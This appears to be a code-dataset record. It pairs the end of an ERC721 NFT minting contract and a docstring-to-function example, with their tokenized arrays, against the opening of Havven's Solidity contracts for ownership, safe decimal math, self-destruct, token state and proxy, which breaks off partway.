* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721SmallFriend.ownerOf(tokenId);
require(to != owner, "ERC721SmallFriend: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721SmallFriend: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721SmallFriend: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721SmallFriend: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721SmallFriend: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721SmallFriend: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return
tokenId < _tokenOwners.length &&
_tokenOwners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721SmallFriend: operator query for nonexistent token"
);
address owner = ERC721SmallFriend.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` in batch and transfers it to `to`.
*
* Requirements:
*
* - `to` must not be a zero address.
* - `amount` must not be zero
*/
function _safeBatchMint(address to, uint256 amount)
internal
returns (uint256 startId)
{
require(
to != address(0),
"ERC721SmallFriend: mint to the zero address"
);
require(amount > 0, "ERC721SmallFriend: mint nothing");
startId = _tokenOwners.length;
for (uint256 i = 0; i < amount; i++) {
_tokenOwners.push(to);
emit Transfer(address(0), to, _tokenOwners.length - 1);
}
require(
_checkOnERC721Received(address(0), to, startId, ""),
"ERC721SmallFriend: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to) internal virtual {
_safeMint(to, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, bytes memory _data) internal virtual {
uint256 tokenId = _mint(to);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721SmallFriend: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to) internal virtual returns (uint256) {
require(
to != address(0),
"ERC721SmallFriend: mint to the zero address"
);
uint256 tokenId = _tokenOwners.length;
_tokenOwners.push(to);
emit Transfer(address(0), to, tokenId);
return tokenId;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721SmallFriend.ownerOf(tokenId);
_tokenOwners[tokenId] = address(0);
delete _tokenApprovals[tokenId];
_burntTokens++;
emit Approval(owner, address(0), tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721SmallFriend.ownerOf(tokenId) == from,
"ERC721SmallFriend: transfer from incorrect owner"
);
require(
to != address(0),
"ERC721SmallFriend: transfer to the zero address"
);
_tokenOwners[tokenId] = to;
_tokenApprovals[tokenId] = address(0);
emit Approval(from, address(0), tokenId);
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(_tokenOwners[tokenId], to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721SmallFriend: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721SmallFriend: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
// ========================================
// IERC721Enumerable implementations
// ========================================
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() public view override returns (uint256) {
return _tokenOwners.length - _burntTokens;
}
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId)
{
uint256 _totalSupply = _tokenOwners.length;
for (uint256 i = 0; i < _totalSupply; i++) {
if (_tokenOwners[i] != owner) continue;
if (index == 0) {
return i;
}
index--;
}
revert("ERC721SmallFriend: owner index out of bounds");
}
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256) {
require(
index < _tokenOwners.length,
"ERC721SmallFriend: global index out of bounds"
);
// Adjusted token orders by skipping burnt tokens
uint256 burntTokens = 0;
for (uint256 i = 0; i < _tokenOwners.length; i++) {
if (_tokenOwners[i] == address(0)) {
burntTokens++;
}
if (i == index + burntTokens) return i;
}
revert("ERC721SmallFriend: global index out of bounds");
}
// ========================================
// Miscellaneous functions
// ========================================
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function _totalMinted() internal view returns (uint256) {
return _tokenOwners.length;
}
}
// File: VisibleFriends.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
contract VisibleFriends is ERC721SmallFriend, EIP712, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public constant PRICE = 0.009 ether;
struct Config {
uint16 maxSupply;
uint16 summonLimit;
bool saleStarted;
}
Config public _config;
string public _baseURI;
constructor(Config memory config, string memory baseURI)
ERC721SmallFriend("VisibleFriends", "VFRI")
EIP712("VisibleFriends", "1")
{
_config = config;
_baseURI = baseURI;
}
function summonFriends(uint256 amount) external payable nonReentrant {
Config memory config = _config;
require(config.saleStarted, "VisibleFriends: sale is not started");
require(
amount <= config.summonLimit,
"VisibleFriends: exceed summon per time"
);
uint256 totalMinted = _totalMinted();
require(
totalMinted + amount <= config.maxSupply,
"VisibleFriends: exceed public supply"
);
require(
msg.value >= PRICE * amount,
"VisibleFriends: insufficient fund"
);
_safeBatchMint(msg.sender, amount);
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(_exists(tokenId), "ApeZuki: URI query for nonexistent token");
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
function bal() external view returns(uint256) {
return address(this).balance;
}
// ------- Admin Operations -------
function setBaseURI(string calldata baseURI) external onlyOwner {
_baseURI = baseURI;
}
function flipSaleState() external onlyOwner {
_config.saleStarted = !_config.saleStarted;
}
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
Address.sendValue(payable(msg.sender), balance);
}
function removeOtherERC20Tokens(address _tokenAddress, address _to)
external
onlyOwner
{
ERC20 erc20Token = ERC20(_tokenAddress);
require(
erc20Token.transfer(_to, erc20Token.balanceOf(address(this))),
"ERC20 Token transfer failed"
);
}
} | * @dev Safely mints `tokenId` in batch and transfers it to `to`. Requirements: - `to` must not be a zero address. - `amount` must not be zero/ | function _safeBatchMint(address to, uint256 amount)
internal
returns (uint256 startId)
{
require(
to != address(0),
"ERC721SmallFriend: mint to the zero address"
);
require(amount > 0, "ERC721SmallFriend: mint nothing");
startId = _tokenOwners.length;
for (uint256 i = 0; i < amount; i++) {
_tokenOwners.push(to);
emit Transfer(address(0), to, _tokenOwners.length - 1);
}
require(
_checkOnERC721Received(address(0), to, startId, ""),
"ERC721SmallFriend: transfer to non ERC721Receiver implementer"
);
}
| 6,642,283 | [
1,
26946,
2357,
312,
28142,
1375,
2316,
548,
68,
316,
2581,
471,
29375,
518,
358,
1375,
869,
8338,
29076,
30,
300,
1375,
869,
68,
1297,
486,
506,
279,
3634,
1758,
18,
300,
1375,
8949,
68,
1297,
486,
506,
3634,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
4626,
4497,
49,
474,
12,
2867,
358,
16,
2254,
5034,
3844,
13,
203,
3639,
2713,
203,
3639,
1135,
261,
11890,
5034,
787,
548,
13,
203,
565,
288,
203,
3639,
2583,
12,
203,
5411,
358,
480,
1758,
12,
20,
3631,
203,
5411,
315,
654,
39,
27,
5340,
19187,
42,
7522,
30,
312,
474,
358,
326,
3634,
1758,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
8949,
405,
374,
16,
315,
654,
39,
27,
5340,
19187,
42,
7522,
30,
312,
474,
5083,
8863,
203,
3639,
787,
548,
273,
389,
2316,
5460,
414,
18,
2469,
31,
203,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
3844,
31,
277,
27245,
288,
203,
5411,
389,
2316,
5460,
414,
18,
6206,
12,
869,
1769,
203,
203,
5411,
3626,
12279,
12,
2867,
12,
20,
3631,
358,
16,
389,
2316,
5460,
414,
18,
2469,
300,
404,
1769,
203,
3639,
289,
203,
203,
3639,
2583,
12,
203,
5411,
389,
1893,
1398,
654,
39,
27,
5340,
8872,
12,
2867,
12,
20,
3631,
358,
16,
787,
548,
16,
1408,
3631,
203,
5411,
315,
654,
39,
27,
5340,
19187,
42,
7522,
30,
7412,
358,
1661,
4232,
39,
27,
5340,
12952,
2348,
264,
6,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: NominAirdropper.sol
version: 1.0
author: Kevin Brown
date: 2018-07-09
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
This contract was adapted for use by the Havven project from the
airdropper contract that OmiseGO created here:
https://github.com/omisego/airdrop/blob/master/contracts/Airdropper.sol
It exists to save gas costs per transaction that'd otherwise be
incurred running airdrops individually.
Original license below.
-----------------------------------------------------------------
Copyright 2017 OmiseGO Pte Ltd
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Owned.sol
version: 1.1
author: Anton Jurisevic
Dominic Romanowski
date: 2018-2-26
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
An Owned contract, to be inherited by other contracts.
Requires its owner to be explicitly set in the constructor.
Provides an onlyOwner access modifier.
To change owner, the current owner must nominate the next owner,
who then has to accept the nomination. The nomination can be
cancelled before it is accepted by the new owner by having the
previous owner change the nomination (setting it to 0).
-----------------------------------------------------------------
*/
pragma solidity 0.4.24;
/**
* @title A contract with an owner.
* @notice Contract ownership can be transferred by first nominating the new owner,
* who must then accept the ownership, which prevents accidental incorrect ownership transfers.
*/
contract Owned {
address public owner;
address public nominatedOwner;
/**
* @dev Owned Constructor
*/
constructor(address _owner)
public
{
require(_owner != address(0));
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
/**
* @notice Nominate a new owner of this contract.
* @dev Only the current owner may nominate a new owner.
*/
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
/**
* @notice Accept the nomination to be owner.
*/
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner);
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner);
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: SafeDecimalMath.sol
version: 1.0
author: Anton Jurisevic
date: 2018-2-5
checked: Mike Spain
approved: Samuel Brooks
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A fixed point decimal library that provides basic mathematical
operations, and checks for unsafe arguments, for example that
would lead to overflows.
Exceptions are thrown whenever those unsafe operations
occur.
-----------------------------------------------------------------
*/
/**
* @title Safely manipulate unsigned fixed-point decimals at a given precision level.
* @dev Functions accepting uints in this contract and derived contracts
* are taken to be such fixed point decimals (including fiat, ether, and nomin quantities).
*/
contract SafeDecimalMath {
/* Number of decimal places in the representation. */
uint8 public constant decimals = 18;
/* The number representing 1.0. */
uint public constant UNIT = 10 ** uint(decimals);
/**
* @return True iff adding x and y will not overflow.
*/
function addIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return x + y >= y;
}
/**
* @return The result of adding x and y, throwing an exception in case of overflow.
*/
function safeAdd(uint x, uint y)
pure
internal
returns (uint)
{
require(x + y >= y);
return x + y;
}
/**
* @return True iff subtracting y from x will not overflow in the negative direction.
*/
function subIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return y <= x;
}
/**
* @return The result of subtracting y from x, throwing an exception in case of overflow.
*/
function safeSub(uint x, uint y)
pure
internal
returns (uint)
{
require(y <= x);
return x - y;
}
/**
* @return True iff multiplying x and y would not overflow.
*/
function mulIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
if (x == 0) {
return true;
}
return (x * y) / x == y;
}
/**
* @return The result of multiplying x and y, throwing an exception in case of overflow.
*/
function safeMul(uint x, uint y)
pure
internal
returns (uint)
{
if (x == 0) {
return 0;
}
uint p = x * y;
require(p / x == y);
return p;
}
/**
* @return The result of multiplying x and y, interpreting the operands as fixed-point
* decimals. Throws an exception in case of overflow.
*
* @dev A unit factor is divided out after the product of x and y is evaluated,
* so that product must be less than 2**256.
* Incidentally, the internal division always rounds down: one could have rounded to the nearest integer,
* but then one would be spending a significant fraction of a cent (of order a microether
* at present gas prices) in order to save less than one part in 0.5 * 10^18 per operation, if the operands
* contain small enough fractional components. It would also marginally diminish the
* domain this function is defined upon.
*/
function safeMul_dec(uint x, uint y)
pure
internal
returns (uint)
{
/* Divide by UNIT to remove the extra factor introduced by the product. */
return safeMul(x, y) / UNIT;
}
/**
* @return True iff the denominator of x/y is nonzero.
*/
function divIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return y != 0;
}
/**
* @return The result of dividing x by y, throwing an exception if the divisor is zero.
*/
function safeDiv(uint x, uint y)
pure
internal
returns (uint)
{
/* Although a 0 denominator already throws an exception,
* it is equivalent to a THROW operation, which consumes all gas.
* A require statement emits REVERT instead, which remits remaining gas. */
require(y != 0);
return x / y;
}
/**
* @return The result of dividing x by y, interpreting the operands as fixed point decimal numbers.
* @dev Throws an exception in case of overflow or zero divisor; x must be less than 2^256 / UNIT.
* Internal rounding is downward: a similar caveat holds as with safeDecMul().
*/
function safeDiv_dec(uint x, uint y)
pure
internal
returns (uint)
{
/* Reintroduce the UNIT factor that will be divided out by y. */
return safeDiv(safeMul(x, UNIT), y);
}
/**
* @dev Convert an unsigned integer to a unsigned fixed-point decimal.
* Throw an exception if the result would be out of range.
*/
function intToDec(uint i)
pure
internal
returns (uint)
{
return safeMul(i, UNIT);
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: SelfDestructible.sol
version: 1.2
author: Anton Jurisevic
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
This contract allows an inheriting contract to be destroyed after
its owner indicates an intention and then waits for a period
without changing their mind. All ether contained in the contract
is forwarded to a nominated beneficiary upon destruction.
-----------------------------------------------------------------
*/
/**
* @title A contract that can be destroyed by its owner after a delay elapses.
*/
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
/**
* @dev Constructor
* @param _owner The account which controls this contract.
*/
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0));
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
/**
* @notice Set the beneficiary address of this contract.
* @dev Only the contract owner may call this. The provided beneficiary must be non-null.
* @param _beneficiary The address to pay any eth contained in this contract to upon self-destruction.
*/
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0));
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
/**
* @notice Begin the self-destruction counter of this contract.
* Once the delay has elapsed, the contract may be self-destructed.
* @dev Only the contract owner may call this.
*/
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
/**
* @notice Terminate and reset the self-destruction timer.
* @dev Only the contract owner may call this.
*/
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
/**
* @notice If the self-destruction delay has elapsed, destroy this contract and
* remit any ether it owns to the beneficiary address.
* @dev Only the contract owner may call this.
*/
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated && initiationTime + SELFDESTRUCT_DELAY < now);
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: State.sol
version: 1.1
author: Dominic Romanowski
Anton Jurisevic
date: 2018-05-15
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
This contract is used side by side with external state token
contracts, such as Havven and Nomin.
It provides an easy way to upgrade contract logic while
maintaining all user balances and allowances. This is designed
to make the changeover as easy as possible, since mappings
are not so cheap or straightforward to migrate.
The first deployed contract would create this state contract,
using it as its store of balances.
When a new contract is deployed, it links to the existing
state contract, whose owner would then change its associated
contract to the new one.
-----------------------------------------------------------------
*/
contract State is Owned {
// the address of the contract that can modify variables
// this can only be changed by the owner of this contract
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
/* ========== SETTERS ========== */
// Change the associated contract to a new address
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
/* ========== MODIFIERS ========== */
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract);
_;
}
/* ========== EVENTS ========== */
event AssociatedContractUpdated(address associatedContract);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: TokenState.sol
version: 1.1
author: Dominic Romanowski
Anton Jurisevic
date: 2018-05-15
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A contract that holds the state of an ERC20 compliant token.
This contract is used side by side with external state token
contracts, such as Havven and Nomin.
It provides an easy way to upgrade contract logic while
maintaining all user balances and allowances. This is designed
to make the changeover as easy as possible, since mappings
are not so cheap or straightforward to migrate.
The first deployed contract would create this state contract,
using it as its store of balances.
When a new contract is deployed, it links to the existing
state contract, whose owner would then change its associated
contract to the new one.
-----------------------------------------------------------------
*/
/**
* @title ERC20 Token State
* @notice Stores balance information of an ERC20 token contract.
*/
contract TokenState is State {
/* ERC20 fields. */
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
/**
* @dev Constructor
* @param _owner The address which controls this contract.
* @param _associatedContract The ERC20 contract whose state this composes.
*/
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
/* ========== SETTERS ========== */
/**
* @notice Set ERC20 allowance.
* @dev Only the associated contract may call this.
* @param tokenOwner The authorising party.
* @param spender The authorised party.
* @param value The total value the authorised party may spend on the
* authorising party's behalf.
*/
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
/**
* @notice Set the balance in a given account
* @dev Only the associated contract may call this.
* @param account The account whose value to set.
* @param value The new balance of the given account.
*/
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Proxy.sol
version: 1.3
author: Anton Jurisevic
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A proxy contract that, if it does not recognise the function
being called on it, passes all value and call data to an
underlying target contract.
This proxy has the capacity to toggle between DELEGATECALL
and CALL style proxy functionality.
The former executes in the proxy's context, and so will preserve
msg.sender and store data at the proxy address. The latter will not.
Therefore, any contract the proxy wraps in the CALL style must
implement the Proxyable interface, in order that it can pass msg.sender
into the underlying contract as the state parameter, messageSender.
-----------------------------------------------------------------
*/
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics,
bytes32 topic1, bytes32 topic2,
bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
/* The first 32 bytes of callData contain its length (as specified by the abi).
* Length is assumed to be a uint256 and therefore maximum of 32 bytes
* in length. It is also leftpadded to be a multiple of 32 bytes.
* This means moving call_data across 32 bytes guarantees we correctly access
* the data itself. */
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
/* Copy call data into free memory region. */
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* Forward all gas and call data to the target contract. */
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
/* Revert if the call failed, otherwise return the result. */
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
/* Here we are as above, but must send the messageSender explicitly
* since we are using CALL rather than DELEGATECALL. */
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* We must explicitly forward ether to the underlying contract as well. */
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target);
_;
}
event TargetUpdated(Proxyable newTarget);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Proxyable.sol
version: 1.1
author: Anton Jurisevic
date: 2018-05-15
checked: Mike Spain
approved: Samuel Brooks
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A proxyable contract that works hand in hand with the Proxy contract
to allow for anyone to interact with the underlying contract both
directly and through the proxy.
-----------------------------------------------------------------
*/
// This contract should be treated like an abstract contract
contract Proxyable is Owned {
/* The proxy this contract exists behind. */
Proxy public proxy;
/* The caller of the proxy, passed through to this contract.
* Note that every function using this member must apply the onlyProxy or
* optionalProxy modifiers, otherwise their invocations can use stale values. */
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy);
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner);
_;
}
event ProxyUpdated(address proxyAddress);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: ExternStateToken.sol
version: 1.3
author: Anton Jurisevic
